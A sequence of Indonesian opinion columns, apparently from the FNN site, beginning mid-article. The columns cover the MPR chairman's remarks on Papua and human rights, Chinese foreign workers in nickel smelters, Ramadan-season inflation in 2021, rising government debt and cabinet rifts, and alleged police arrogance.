Jika itu konflik kombatan, maka itu tidak masuk rana HAM. Konflik kombatan itu masuk rana hukum humaniter atau yang berlaku adalah hukum humaniter. Jadi, jika TPN-OPM dan TNI-Polri saling tembak-menembak sampai habis, maka itu hal biasa dan wajar dalam dunia hukum humaniter atau dunia hukum perang. Tidak ada aspek HAM dalam konflik kombatan. Berbeda jika masuk rana sipil. Sayangnya, pernyataan Ketua MPR memiliki tendensius yang sangat buruk, seakan memiliki niat dan melegalkan kejahatan HAM dalam wilayah sipil di Papua. Itu bertentangan dengan hukum humaniter dan hukum HAM. Bahkan juga bertentangan dalam sistim hukum di Indonesia. Apalagi bicara soal UUD’45 dan negera republik ini. Kita harus lihat secara dalam batasan dan perbedaannya. Lemahnya wawasan para pemimpin bangsa, bisa berdampak pada korbannya rakyat sipil dan hancurnya sebuah negara. Yang disampaikan ketua MPR adalah tontonan pada seluruh rakyat di Indonesia, itu sangat buruk. Juga menggambarkan bahwa Ketua MPR belum punya kemampuan untuk membedakan apa itu rana HAM dan apa itu rana konflik kombatan. Soal HAM dan konflik kombatan itu mempunya rana yang berbeda. Kita seakan berada di bawah abad-18, abad dimana kejahatan mengesampingkan aspek HAM. Padahal menurut Usman Hamid, “kami sangat menyayangkan pernyataan Ketua MPR RI yang mengesampingkan HAM. Pernyataan itu berpotensi mendorong eskalasi kekerasan di Papua dan Papua Barat. Mengesampingkan HAM, bukan hanya melawan hukum internasional, tetapi juga tindakan yang inkonstitusional. Negara harus menegakkan prinsip negara hukum dan HAM dengan menemukan dan mengadili pelaku penembakan Kabinda Papua, Brigjen TNI I Gusti Putu Danny. Insiden itu harus menjadi yang terakhir dan tak boleh dijadikan pembenaran memperluas pendekatan keamanan yang selama ini terbukti tidak efektif untuk menyelesaikan masalah Papua.HAM itu bicara keselamatan semua. (CNN, 26/04/2021) Menurut Andi Muhammad, Devisi Humas KontraS, pernyataan Ketua MPR tentang penyelesaian konflik di Papua tidak mencerminkan kepribadian dan etika yang baik sebagai pimpinan MPR. Semestinya setiap anggota MPR bekerja dengan menjunjung tinggi HAM. Padahal secara etik berdasarkan Keputusan MPR Nomor 2 Tahun 2010 tentang Peraturan Kode Etik MPR, setiap anggota dituntut untuk menjunjung HAM (Kompas, 29/4/2021). Dari pernyataan yang disampaikan oleh Usman (Direktur Eksekutif Amnesty Internasional Indonesia) dan Andi Muhhamad, sesungguhnya pernyataan ketua MPR sangat bertentangan dengan konstitusi. Tidak paham konstitusi. Melegalkan kekerasan dan kejahatan HAM di Papua, bahkan melanggar kode etik MPR No. 2 Thn 2010, dimana setiap anggota MPR dituntut menjunjung HAM. Ketua MPR merespon sikap koalisi yang meminta Ketua MPR menarik pernyataannya dengan menyatakan pada pers, “tak akan menarik pernyataannya. Penembakan dan pembunuhan terhadap Kabinda Papua, sejumlah prajurit TNI-Polri, pembunuhan warga sipil hingga pembakaran sekolah, rumah, dan properti lain milik masyarakat Papua tak boleh terjadi lagi”. “Saya tidak akan menarik pernyataan saya. Tugas saya memberi semangat. Bukan menjadi pengkhianat. Negara tidak boleh tunduk” (Tempo/29/4/2021). Pernyataan tanggal 29 april 2021 dengan menyebut pembakaran sekolah, rumah dan properti lain milik masyarakat, siapa yang melakukan pembakaran? Apakah ketua MPR sudah melakukan investigasi dan menyimpulkan pelaku? Atau hanya beretorika secara politik? Penembakan terhadap Kabinda dan anggota militer adalah konflik kombatan. Konflik kombatan berbeda dengan rana HAM. Pengertian negara tidak boleh tunduk, harus dilihat pada konteks konflik kombatan. Bukan tidak boleh tunduk dengan melakukan kejahatan HAM. Bukankah negara dirikan atas semangat penghormatan pada HAM? Atau HAM yang dimaksud dalam pancasila, UUD’45 dan turunannya itu, di luar dari orang Papua? Kenapa ketua MPR tidak bersuara ketika tiga warga sipil (kakak-beradik) dibunuh oleh aparat negara di dalalam rumah sakit di Intan Jaya. Saat kedua adiknya mengantar kakak mereka yang ditembak dan ditusuk pakai sangkur oleh aparat, untuk berobat di rumah sakit ? Kenapa ketua MPR tidak bersuara terhadap perlindungan masyarakat sipil Papua yang mengungsi agar nyawa mereka tidak lenyap? Kekerasan negara sudah terjadi sejak tahun 1962, dimulai dari Trikora yang dikumandangkan oleh Soekarno 19 desember 1961. Kemudian dilakukan berbagai operasi, adanya kejahatan Pepera. Berbagai operasi militer dan kekerasan itu berlangsung sampai saat ini. Kenapa Ketua MPR tidak pernah bersuara dari aspek kemanusiaan? Apakah ada tendensi rasialisme? Apa sesungguhnya yang terjadi terhadap Papua ? Apakah hak asasi rakyat Papua tidak penting dalam NKRI? Menurut Yones Douw, aktivis HAM, “Jakarta tidak punya komitmen menyelesaikan masalah HAM dan status Politik Tanah Papua. Dalam operasi militer di Nduga dan Intan jaya, TNI-Polri menembak mati masyarakat sipil. Korban dari masyarakat sipil meningkat banyak. Mereka yang mengungsi meningkat, hingga kehilangan pencaharian, dan kematian. Disitulah terjadi genosida” (Tabloid Jubi/30/4/2021). Dari pernyataan aktivis Hak Asasi Manisia tersebut, apakah pernyataan ketua MPR hanya sebagai upaya untuk menutupi berbagai kasus kejahatan pelanggaran HAM terhadap orang Papua di Papua yang sudah terjadi begitu lama? Apa masih ada keseriusan negara dalam menyelesaikan kasus pelanggaran HAM? Pentingkah orang Papua berada di Indonesia dalam perspektif HAM? Barangkali, yang disampaikan Ketua MPR itu memberikan gambaran pada publik, khususnya di Papua bahwa belum ada tokoh nasional yang memiliki wawasan kebangsaan. Satu-satunya tokoh nasional yang hebat sepanjang masa adalah Gus Dur. Gus Dur menempatkan HAM orang Papua sama dengan warga negara lainnya. Sekarang beberapa yang bermunculan, dan itu bisa dihitung. Tokoh-tokoh nasional adalah mereka yang selalu berpihak pada rakyat. Menyuarakan suara ratapan dan tangisan rakyat. Seperti Rocky Gerung, Natalius Pigai, Usman Hamid, dan Haris Hazar. Ukuran tokoh nasional harus jelas dan ketat. Mereka harus berjiwa nasionalis. Jiwa jiwa yang pro rakyat. Semengatnya Pancasilais dan taat konstitusional. Itu yang menyebabkan lahirnya istilah republik. Seluruh anak bangsa harus belajar menjadi tokoh nasional yang bisa mengorbankan jiwa dan raganya untuk keselamatan rakyat sebagi bentuk perwujudan cita-cita dan nasionalis dalam bangsa. Rakyat bukan untuk dibantai dan dibunuh, apalagi melegalkan kejahatan HAM dalam prinsip bernegara. “Lebih baik kehilangan satu pulau daripada satu rakyat dikorbankan. Nasionalisme mengajarkan untuk menyelamatkan nyawa rakyat. Bukan mengorbankan nyawa rakyat tak berdoa”. Ke depan ,Ketua MPR, DPR bahkan Presiden dan para menteri baiknya harus dari anak bangsa yang taat HAM dan Konstitusi Ini pembelajaran yang sangat kurang baik, kurang etis, kurang manusiawi, dan melanggar etika kebangsaan dalam semangat Pancasilais, konstitusionalis dan humanis. Dalam sila kedua Pancasila, sangat jelas menegaskan bahwa kemanusiaan yang adil dan beradab. Mengabaikan HAM sangat tidak manusiawi dan tidak beradab. Ketua MPR atau pejabat negara lain di Jakarta harus bisa membedakan antara konflik kombatan dan HAM. Harus punya wawasan kebangsaan yang cukup. Punya jiwa nasionalisme yang menyelamatkan rakyat. Memiliki pemahaman yang bisa mencerdaskan kehidupan bangsa. Bisa menjaga warga negara. Tujuan bernegara adalah melindungi warga negara. Bukan melakukan kejahatan kemanusiaan terhadap warga negara. Seorang pemimpin harus selesai dengan dirinya sendiri soal pemahaman kebangsaan yang sebenarnya dan seutuhnya. Mengelolah negara yang multi kultur, butuh wawasan kebangsaan yang sempurna. Gus Dur harus bisa jadi contoh sebagai Bapak Bangsa yang memper-erat persaudaraan dan pembersatukan perbedaan. Yones Douw memberikan jalan yang soluktif yakni “meminta pemerintah Indonesia berunding dengan rakyat Papua untuk mencari solusi konflik Papua secara Damai. Kekerasan tidak akan menyelesaikan masalah, dan justru menyebabkan masalah baru. Kekerasan di masa lampau menimbulkan trauma kolektif dan upaya balas dendam dari kedua belah pihak”. Karenanya, seorang pemimpin yang hebat adalah pemimpin yang selalu mencari solusi damai untuk selesaikan masalah bangsa dan masalah negaranya. Bukan memakai kekerasan apalagi mengabaikan HAM. Cara-cara manusiawi dan bermartabat bisa dilakukan dan ditempuh. Alangkah Indahnya jika cara menyelesaikan masalah di Papua melalui Perundingan antara Jakarta (Istana) dan Papua (ULMWP) seperti perundingan di Aceh. Ini yang harus disuarakan oleh pejabat publik. Presiden harus bisa buka diri untuk kemanusiaan. Penulis adalah Aktivis Kemanusiaan Asal Papua.

Menggugat Penjajahan Negara & TKA China di Industri Nikel (Bag-2)

by Dr. Marwan Batubara Jakarta FNN - Ironi dan nestapa seputar industri nikel nasional terlalu banyak untuk ditulis. Umumnya membuat perut mual. Ada eksploitasi cadangan tanpa kontrol, larangan ekspor mineral mentah yang pro asing, kebijakan harga patokan mineral (HPM) pro smelter China, manipulasi pajak, dan manipulasi tenaga kerja asing (TKA) China. Jika anda mual, jangan diam. Mari kita advokasi bersama-sama. Kali ini IRESS menulis seputar TKA China yang sangat banyak melanggar hukum. Merugikan negara dan merampas hak rakyat untuk bekerja. Meski sudah banyak digugat berbagai lembaga atau perorangan, termasuk Ombudsman, anggota DPR, serikat-serikat Pekerja, pakar-pakar, serta pimpinan partai dan ormas, masalah TKA China tetap saja berjalan lancar tanpa perbaikan atau tersentuh hukum. Mengapa demikian? Karena ada oligarki penguasa yang melindungi dan ikut investasi dengan para konglomerat dan investor China. Mereka mendapat berbagai pengecualian dengan dalih sebagai penarik investasi/PMA, penggerak ekonomi nasional dan daerah, serta status sebagai proyek strategis nasional (PSN). Namun di sisi lain, dengan berbagai perlindungan dan status tersebut, investasi oligarki dan China ini seolah berjalan di bebas hambatan. Bebas dari rambu-rambu hukum, bahkan kebal hukum. Mari kita cermati lebih seksama. Jumlah TKA China yang masuk Indonesia, terutama pada industri nikel dan bauksit (menghasilkan alumina) telah mencapai ratusan ribu orang. Wilayah yang menjadi tujuan minimal Sulawesi Tengah, Sulawesi Tenggara dan Kepulauan Riau. Untuk kasus TKA China ini, perhatikan bebagai pelanggaran yang terjadi sejak 2019 hingga sekarang. Pertama, mereka bebas masuk saat larangan kedatangan orang asing berlaku selama pandemi Covid-19. Ada 10.482 TKA yang masuk selama pandemi-19. Padahal Menaker telah mengeluarkan Surat Edaran M.1.HK.04/II/2020 pelarangan sementara penggunaan TKA asal China akibat wabah Covid-19 sejak Februari 2020. Antara Januari-Februari 2021, ada 1.460 TKA China yang masuk. Ini jelas bertentangan dengan kebijakan Presiden Jokowi sendiri yang melarang masuknya warga asing mulai Januari 2021. Presiden hanya basa-basi? Kedua, sebagian besar mereka masuk Indonesia menggunakan visa 211 dan 212, yaitu visa kunjungan yang tidak bersifat komersial. Bukan visa untuk bekerja. Masa berlaku Visa 211 dan 212 maksimum 60 hari. Visa kunjungan tersebut telah disalahgunakan untuk berkeja berbulan-bulan atau tahunan, dan jumlah penggunanya bisa sampai puluhan ribuan TKA China. Ketiga, TKA China yang akan bekerja di Indonesia perlu mendapat visa 311 dan 312. Namun hal ini sengaja dihindari karena perlu memenuhi berbagai syarat seperti skill, waktu dan biaya pengurusan, serta pengenaan pajak. Ternyata para pemberi kerja, pemerintah dan para TKA sengaja menghindari penggunaan visa 311 dan 312. Rekayasa dan konspirasi ini jelas pelanggaran hukum yang serius. Keempat, mayoritas TKA China yang dipekerjakan hanyalah lulusan SD, SMP dan SMA, serta bukan tenaga terampil sesuai aturan pemerintah.T tetapi pekerja kasar. Ini jelas-jelas melanggar aturan dan merampok hak tenaga kerja pribumi mendapat pekerjaan. Padahal Permenaker No.10/2018 antara lain mengatur syarat TKA. 1). Memiliki pendidikan sesuai kualifikasi. 2). Memiliki sertifikat kompetensi atau memiliki pengalaman kerja 5 tahun. 3). Mengalihkan keahlian kepada Tenaga Kerja Pendamping. 4). Memiliki NPWP bagi TKA. 5). memiliki ITAS (Izin Tinggal Terbatas) untuk bekerja, diterbitkan instansi berwenang. 6). Memiliki kontrak kerja untuk waktu tertentu dan jabatan tertentu. Pada smelter milik PT. Virtue Dragon Nickel Industry (VDNI), dipekerjakan TKA lulusan SD 8%, SMP 39% dan SMA 44%. Lulusan D3/S1 hanya 2% dan berlisensi khusus 7%. Kondisi lebih parah terjadi pada perusahaan smelter milik PT Obsidian Stainless Steel (OSS) yang mempekerjakan TKA lulusan SD 23%, SMP 31% dan SMA 25%. Lulusan D3/S1 17% dan TKA berlisensi khusus 4%. Para TKA China di VDNI dan OSS, Morosi Sulawesi Tengah ini, sejak awal tidak jelas tentang jenis visa yang digunakan, fungsi dan jabatan pemegang visa. Hal ini melanggar Pasal 38 UU No.6/2011 tentang Keimigrasian. Menko Kemaritiman dan Investasi Luhut Binsar Pandjaitan (LBP) pernah berdalih TKA China perlu didatangkan karena tenaga kerja lokal tidak memenuhi syarat. Kata LBP lebih lanjut, "kita lihat banyak daerah-daerah (penghasil) mineral kita pendidikannya tidak ada yang bagus. Jadi kalau ada banyak yang berteriak tidak pakai (tenaga kerja) kita, lah penduduk lokalnya saja pendidikannya enggak ada yang bagus. Misalnya saja matematika rendah" Selasa (15/9/2020). Dalih LBP yang membela perusahaan China yang didukung oligarki di atas sangat sumir, manipulatif sekaligus menyakitkan. Tenaga lokal lulusan SMA, D3 dan S1 tersedia melimpah di Sulawesi dan Jawa. Apalagi sekedar lulusan SD, SMP dan SMA. Padahal faktanya VDNI mempekerjakan TKA lulusan SD 8%, SMP 39% dan SMA 44%. Sedang di OSS, TKA lulusan SD mencapai 23% dan SMP 31%. Inilah salah satu bentuk perlindungan pejabat negara kepada perusahaan asing China, sekaligus fakta perendahan martabat dan kemampuan bangsa sendiri. Kelima, meskipun bekerja di Indonesia, gaji TKA China lebih besar signifikan dibanding gaji pekerja pribumi. Hal ini mengusik rasa keadilan, sekaligus penghinaan terhadap rakyat sendiri. Pada smelter VDNI, persebaran gaji bulanan sekitar 27% TKA menerima Rp 15 juta - Rp 20 juta; 47% menerima Rp 21 juta - Rp 25 juta; 16% menerima Rp 26 juta - Rp 30 juta; 5% menerima Rp 31 juta - Rp 35 juta, dan 4% menerima 36 juta-Rp 40 juta. Hal hampir sama terjadi pada smelter OSS. Mayoritas TKA lulusan SD, SMP dan SMA. Namun memperoleh gaji BESAR dengan sebaran antara Rp 15 juta hingga Rp 35 juta. Untuk jenis pekerjaan yang sama, gaji TKA China ini jauh di atas gaji pekerja pribumi lulusan SD-SMA, yang hanya berkisar antara Rp 4 juta hingga Rp 15 juta. Jumlha tersebut sudah termasuk lembur. Nasib pekerja lokal dan nasional di smelter-smelter milik China dan sahabatnya konglomerat oligarkis Indoneia memang tragis. Sudahlah kesempatan kerjanya dibatasi atau dirampok TKA China, gaji pun umumnya super rendah dibanding gaji TKA China. Kita terjajah di negeri sendiri. Keenam, pembayaran gaji para TKA China dilakukan oleh sebagian investor di China daratan. Uang dari gaji tersebut tidak beredar di Indonesia. Tidak ada uang masuk ke Indonesia. Hal ini jelas merugikan ekonomi nasional dan daerah yang mengharapkan adanya perputaran ekonomi, peningkatan PDRB dan nilai tambah dari kegiatan industri nikel nasional ini. Mengharap nilai tambah apa, jika kesempatan kerja kasar bagi lulusan SD-SMA pribumi saja dirampok TKA China? Ketujuh, dengan pembayaran sebagian gaji TKA dilakukan di China, maka negara potensial kehilangan penerimaan pajak. Tidak ada jaminan VDNI, OSS dan sejumlah perusahaan smelter China lain di Indonesia, khususnya pada industri nikel dan bauksit membayar pajak. Negara berpotensi kehilangan pendapatan Dana Kompensasi Penggunaan TKA (DKPTKA) yang harus dibayar investor kepada pemerintah, yang akan tercatat sebagai PNBP. Apakah pemerintah dan lembaga terkait memahami potensi manipulasi dan kejahatan sistemik ini. Apakah pemerinrtah berani bertindak sesuai dengan peraturan yang berlaku? Jika masalah visa, pajak, DKPTKA dan tak jelasnya kontribusi bagi daerah penghasil ini terus berlangsung dan mendapat perlindungan pemerintah atas nama investasi (FDI), pertumbuhan ekonomi dan proyek strategis nasional, lalu negara dapat apa? Rakyat sendiri dipajaki, sementara sebagian perusahaan China dan konglomerat oligarkis bebas bayar pajak dan mendapat pula berbagai fasilitas yang melanggar aturan. Kapan ketidakadilan ini diakhiri? Di tengah terjadinya banyak PHK dan bertambahnya pengangguran yang memiskinkan puluhan juta rakyat Indoensia akibat pandemi, ratusan atau mungkin ribuan TKA China terus masuk setiap bulan. Terlepas dari berbagai pelanggaran yang terjadi pada industri tambang mineral, khusus isu TKA China, minimal kita menemukan tujuh masalah yang melanggar aturan, merampok hak pribumi dan merugikan keuangan negara seperti diurai di atas. Pelanggaran tersebut bukan saja direkayasa dan disengaja. Tetapi juga berjalan dengan sangat aman. Terkesan mendapat dukungan atau minimal perlindungan pemerintah. Karena itu, wajar jika rakyat menuntut agar perusahaan PMA seperti VDNI dan OSS diproses secara hukum dan siberi sanksi atas semua pelanggaran dan manipulasi yang dilakukan. Hal ini juga sekaligus untuk membuktikan pemerintah mampu bersikap adil, serta tidak pro investor China dan konglomerat oligarkis. Berbagai pelanggaran di atas berdampak pada hilangnya kesempatan bagi sebagian rakyat untuk bekerja di negara sendiri. Bahkan negara kehilangan kesempatan memperoleh penerimaan pajak dan PNBP triliunan rupiah. Kondisi ini merupakan hal yang harus dibuka terang-benderang dan diselesaikan sesuai hukum secara transparan, bermartabat dan berdaulat. Jika pelanggaran ini terus berlangsung, berhentilah meneriakkan kata “MERDEKA”. Karena faktanya NKRI sedang dijajah di negeri sendiri oleh China Bejing dan anteknya di Indonesia. Penulis adalah Direktur Eksekutif IRESS.

Ramadan Jadi Pertaruhan Ekonomi

BADAN Pusat Statistik (BPS) mencatat terjadinya kenaikan harga beberapa komoditas pada April 2021. Hal itu.menyebabkan inflasi sebesar 0,13 persen. Angka tersebut, meleset dari perkiraan yang dikeluarkan Bank Indonesìa sebesar 0,18 persen. Deputi Bidang Statistik Distribusi dan Jasa BPS, Setianto dalam konferensi vidio, Senin, 3 Mei 2021 menyebutkan, komoditas daging ayam ras memberikan andil sebesar 0,06 persen. Komoditas lainnya adalah minyak goreng, jeruk, bahan bakar rumah tangga, emas perhiasan, anggur, pepaya, rokok kretek filter, ikan segar dan ayam hidup memberi andil terhadap inflasi sebesar 0,01 persen. Ada beberapa komoditas yang mengalami penurunan harga (deflasi).sehingga menghambat laju inflasi. Cabai rawit memberi andil deflasi 0,05 persen, bawang merah 0,02 persen, beras, bayam, kangkung dengan andil masing-masing 0,01 persen. Belum ada yang menggembirakan dengan angka inflasi yang hanya 0,13 persen pada bulan April 2021. Juga dengan angka April 2021 sebesar 1,42 persen secara tahunan atau year on year (yoy). Sebab, rendahnya laju inflasi itu tidak mencerminkan telah terjadinya pemulihan ekonomi. Angka inflasi yang diumumkan BPS itu justru menunjukkan betapa perekonomian masih jalan di tempat. Sebab, pertengahan April 2011, sudah memasuki bulan Ramadan. Semestinya, permintaan mulai bergerak. Biasanya, bulan Ramadan inflasi cukup tinggi akibat harga barang naik yang diikuti dengan meningkatnya permintaan konsumen. Akan tetapi, bulan April tanda-tanda permintaan membaik belum terlalu kelihatan. Justru yang terjadi adalah kenaikan harga beberapa komoditas. Hal ini sudah terbiasa terjadi pada bulan Ramadan dan Idulfitri. Akan tetapi, dalam situasi perekonomian tumbuh positif, katakanlah lima persen, biasanya kenaikan harga masih diikuti dengan peningkatan permintaan dari konsumen. Akan tetapi, Ramadan tahun ini tidak seperti itu. Hari Raya Idulfitri yang tinggal sepekan lagi, juga belum menunjukkan adanya peningkatan permintaan. Kalau dibandingkan dengan Ramadan dan Idulfitri 2020 yang.lalu, tentu ada sedikit perubahan. Sebab, tahun lalu adalah awal Covid-19, dan memaksa sejumlah pasar dan mal ditutup. Tidak jelas, apakah stagnannya permintaan itu karena rakyat tidak punya uang untuk belanja. Akankah dalam sepekan menjelang Idulfitri akan meningkat karena Tunjangan Hari Raya (THR), baik pekerja swasta maupun pegawai pemerintah sudah cair. Anggaran THR tahun 2021 yang dikeluarkan pemerintah meliputi kementerian/lembaga, ASN, TNI, dan Polri melalui DIPA sebesar Rp 7 triliun, sedangkan untuk ASN daerah dan P3K dialokasikan Rp 14,8 triliun. THR yang diberikan kepada para pensiunan dialokasikan sebesar Rp 9 triliun. Nah, andaikan THR itu dibelanjakan, tentu sedikit akan mendongkrak permintaan. Apakah semua THR itu dibelanjakan oleh si penerima? Belum tentu. Ajakan Menteri Keuangan Sri Mulyani Indrawati agar masyarakat yang tidak mudik belanja baju baru, malah menjadi bahan olok-olokan di media sosial. "Mudik dilarang. Akan tetapi Sri (Mulyani Indrawati) ajak masyarakat belanja baju baru. Mau dipake ke mana? Ternyata saat ngomong, otaknya masuk keranjang sampah." Demikian antara lain olok-olokan yang dapat dibaca di medsos. Harus diakui, perekonomian masih berat. Daya beli masyarakat masih lemah. Kalaupun ada kegiatan ekonomi mulai membaik, itu masih sangat sedikit, dan pengaruhnya masih kecil terhadap perekonomian nasional. Oleh karena itu, tidak salah jika banyak yang sinis terhadap rencana pertumbuhan ekonomi yang disampaikan pemerintah pada kisaran 4,5 sampai 5,3 persen. Angkanya sangat ambisius di tengah daya beli masyarakat yang masih lemah. Sementara pendapatan dari ekspor masih sulit meningkat akibat pandemi Covid-19. Nah, kalau mau melihat, salah satu indikator daya beli itu terjadi pada bulan Ramadhan dan Idulfitri. Sebab, di bulan yang sangat mulia itu, banyak masyarakat yang membelanjakan uangnya, baik untuk keperluan pribadi dan keluarga, serta keperluan kepada saudara lainnya. **

Over Borrowing dan Keretakan Kabinet

BELAKANGAN ini ada beberapa fenomena lonjakan utang yang mengerikan, pada saat yang sama terjadi keretakan koalisi di kabinet. Apakah ada kaitan lonjakan utang sehingga anggota koalisi sudah mulai berani mengambil jalan politik sendiri-sendiri? Menurut ekonomi Rizal Ramli, kondisi krisis hari ini jauh lebih berat daripada krisis 1998. Faktornya sangat banyak, antara lain, pertama, jumlah utang yang terlalu banyak. Sampai-sampai untuk membayar bunga utang Pemerintah harus menerbitkan utang baru (defisit keseimbangan primer). Pada 2021, Pemerintah harus menyiapkan Rp373,26 triliun. Sementara kas negara kosong, sehingga Pemerintah terpaksa harus menerbitkan surat utang baru karena terjadi negative flow. Kedua, uang yang ada di masyarakat disedot untuk membayar utang lewat mekanisme pembelian Surat Utang Negara (SUN) ataupun Surat Berharga Negara (SBN). Hal ini yang memukul daya beli ekonomi masyarakat, selain terkena Covid-19, masyarakat kehilangan pekerjaan, atau yang masih bekerja daya belinya semakin turun, karena uangnya tersedot untuk membayar utang. “Dan pemerintah tidak punya kemampuan untuk mengurangi beban utang ini, kecuali menambah dan menambahnya. Untuk bayar bunga utang harus berutang lagi,” jelasnya. Rektor Universitas Ibnu Khaldun, Musni Umar, mengungkapkan jika dijumlahkan utang publik saat ini diperkirakan sudah menembus angka Rp13.500 triilun. Yang dimaksud utang publik itu adalah utang yang apabila terjadi kegagalan maka Pemerintah sebagai penyelenggara negara akan mengambil alih pembayarannya. Utang publik terdiri dari tiga komponen, pertama, utang Pemerintah. Sampai dengan triwulan I-2021 total utang Pemerintah sudah mencapai Rp6.445,07 triliun. Jumlah itu setara dengan 41,64% dari Produk Domestik Bruto (PDB). Kedua, utang Bank Indonesia (BI). Utang Pemerintah termasuk di dalamnya adalah utang Bank Indonesia. Ketiga, utang BUMN. Sampai September 2020 total utang BUMN mencapai Rp1.682 triliun. Jika diproyeksikan hingga kuartal I-2021 total utang BUMN bisa mencapai Rp1.800 triliun. Sehingga menurut Ekonom senior Institute for Development of Economics and Finance (INDEF) Didik J. Rachbini total utang Pemerintah dan BUMN sampai saat ini berkisar Rp8.300 triliun. Sampai dengan Presiden Jokowi menyelesaikan tugasnya pada 2024 diperkirakan Jokowi akan mewariskan utang sedikitnya Rp10.000 triliun. Apakah total utang tersebut masih aman? Masih well managable? Atau sudah sampai tahap over borrowing? Tentu saja Menkeu Sri Mulyani Indrawati menyebut total utang tersebut masih aman, masih di bawah 60% dari PDB. Musni Umar sebaliknya sudah tembus 80% dari PDB. Tapi Rizal Ramli menyebut sudah over borrowing. Paling tidak ada tiga instrumen untuk mengukur utang suatu negara masuk kategori over borrowing atau lower borrowing. Yaitu, pertama, DSR (Debt Service Ratio), rasio pembayaran bunga dan cicilan utang terhadap penerimaan ekspor dengan batas aman sebesar 20%. Kedua, DER (Debt Export Ratio), rasio total ULN dengan penerimaan ekspor dengan batas aman sebesar 200%. Ketiga, DGDP (Debt to GDP Ratio), rasio antara total utang luar negeri terhadap PDB dengan batas aman 40%. Jika mengacu pada data ULN Februari 2021, nilai DGDP ratio Indonesia sebesar 39,7%, sedangkan data mengenai DSR dan DER masing-masing sebesar 27,86% dan 215.4% pada IV-2020. Itu menunjukkan bahwa Indonesia mengalami over borrowing dilihat dari indikator DSR dan DER. Sedangkan dengan indikator DGDP, nilainya hampir melampaui batas aman sehingga diperlukan manajemen utang dengan hati-hati dan terstruktur. Di sinilah letak titik krusial, dimana anggota koalisi kabinet menyadari bahwa kondisi utang Indonesia yang sudah over borrowing dan belum ada tanda-tanda solusi yang kongkrit, sehingga masing-masing anggota koalisi di kabinet mulai berbicara sumbang. Menkeu Sri Mulyani sudah mulai minta nasihat World Bank dan Monetary International Fund (IMF). Ini adalah bahasa isyarat karena sang penguasa pemerintahannya sudah di luar kendali, sehingga Menkeu harus pinjam mulut World Bank atau IMF untuk mengingatkan sang penguasa. Dikabarkan Sri Mulyani akan menerbitkan utang baru dengan target Rp1.200 triliun, dimana Rp600 triliun untuk dibagikan kepada rakyat berupa financial safety net (FSN) dan Rp600 triliun untuk supply kepada sektor perbankan. Namun rencana itu ditolak Bank Dunia. Wakil Presiden Ma’ruf Amin mulai berbicara lantang dengan mengatakan indeks demokrasi Indonesia di bawah indeks demokrasi Timor Leste. Ma’ruf yang merupakan representasi dari Partai Kebangkitan Bangsa (PKB) juga minta dispensasi agar santri dibolehkan mudik lebaran di tengah kebijakan Pemerintah melarang mudik. Kepala Bappenas/Menteri Perencanaan Pembangunan Nasional (PPN) Suharso Manoarfa meminta Menkeu Sri Mulyani mencek perusahaan Indonesia yang berinvestasi besar-besaran ke China di tengah Indonesia butuh investasi. Ini merupakan sinyal orkestra keretakan di dalam tubuh kabinet, khususnya wakil dari Partai Persatuan Pembangunan (PPP). Pada saat yang sama Wakil Ketua DPR RI Azis Syamsuddin dari Fraksi Golkar tengah ditarget Komisi Pemberantasan Korupsi (KPK). Diperkirakan akan merambat kepada Ketua Umum Partai Golkar Airlangga Hartarto, sehingga Airlangga pun melakukan manuver politik bertemu dengan Prabowo Subianto (Ketua Umum Gerindra), Surya Paloh (Ketua Umum Nasdem), Achmad Syaikhu (Presiden PKS), Suharso (Ketua Umum PPP), dan entah dengan siapa lagi. Mungkin saja setelah Golkar, Muhaimin Iskandar (Ketua Umum PKB) akan digoyang sehingga keutuhan kabinet semakin rapuh. Belum lagi manuver PDI Perjuangan sebagai pimpinan koalisi, yang kesemuanya memberi isyarat bahwa keutuhan kabinet mulai goyah. Kalau semua itu terjadi, tentu saja akan terjadi tsunami politik. Dan itu membahayakan posisi Presiden Jokowi, dikhawatirkan beliau tidak sampai menyudahi kepemimpinannya hingga 2024. Alih-alih ingin memimpin Indonesia tiga periode, malah terjungkal di jalan. Kita tentu tidak mengharapkan hal itu terjadi, semoga saja analisis di atas tidak terjadi.

Polisi Semakin Arogan, Sudah Waktunya Direstrukturisasi (Bagian-1)

Reformasi dan demokrasi, yang menjadi faktor kunci perubahan fundamental eksistensi Kepolisian Negara Republik Indonesia (Polri) dalam tatanan ketatanegaraan kita, ternyata jauh dari cita-cita dan tujuan berbangsa Indonesia. Kepolisian justru semakin tampil mencekik reformasi dan demokrasi itu sendiri. Kepolisian benar-benar gagal mengenal, memahami dan mengaktualisasikan dirinya dalam nilai-nilai reformasi dan demokrasi yang memisahkannya dari TNI. by Luqman Ibrahim Soemay Gorontalo FNN - Kepolisin sekarang semakin memantapkan diri untuk menjadi lawan dan musuh utama dari reformasi dan demokrasi. Citra buruk TNI selama 32 tahun sebagai penopang utama kekuasaan rezim Orde Baru sekarang diambil-alih dengan sempurna Kepolisin. Prilaku buruk yang sudah ditinggalkan oleh TNI dengan senang hati (legowo). TNI sadar betul kalau menjadi musuh reformasi dan demokrasi, maka akan selalu dikenang sebagai catatan buruk perjalanan negeri ini. Dari waktu ke waktu, hari ke hari disepanjang rute reformasi dan demokrasi gelombang kedua (1998-hinga sekarang) setelah gelombang pertama 1950-1959, Kepolisian terlihat semakin menakutkan dan menyeramkan untuk rakyat negeri ini. Arogansinya Kepolisian tak kunjung menemui titik akhir. Arogansi mereka terhadap Buya Hamka dulu, terus saja terlihat dalam berbagai bentuk dan sifat, yang pada sejumlah aspek memiliki kemiripan. Buya Hamka dituduh (dengan direkayasa) Kepolisian kalau Buya Hamka terlibat dalam rapat gelap untuk menggulingkan Bung Karno. Rapat itu, begitu yang dikarang para polisi dari Departemen Kepolisian (Depak), berlangsung disebuah rumah di daerah Tengerang. Tidak itu saja, Buya Hamka juga dituduh (dengan rekayasa) Polisi tergabung dalam Gerakan Anti Soekarno ( GAS). Bejat betul polisi-polisi ketika itu, yang mungkin saja telah almarhum, semoga Allaah Subhanahu Wata’ala mengampuni dosa-dosa mereka. Mereka polisi-polisi bejat tersebut tahu betul bahwa kasus yang dikenakan kepada Buya Hamka itu full dengan rekayasa. Tetapi polisi-polisi itu malah dengan gagah dan membanggakan berani menyuruh Buya Hakmka untuk berbicara dengan jujur. Kurangajar dan tak punya hati memang. Sudah merekayasa kasus, tetapi meminta untuk Buya Hamka jujur. Pembaca FNN yang budiman. Untuk mengetahui selengkap-lengkapnya kasus rekayasa Polisi-polisi bejat itu terhadap Buya Hamka, kami persilahkan untuk baca sampai tamat buku dengan judul “Buya Hamka, Sebuah Novel Biografi”. Penulisnya adalah Haidar Mustafa. Penyunting adalah Farid Wijan. 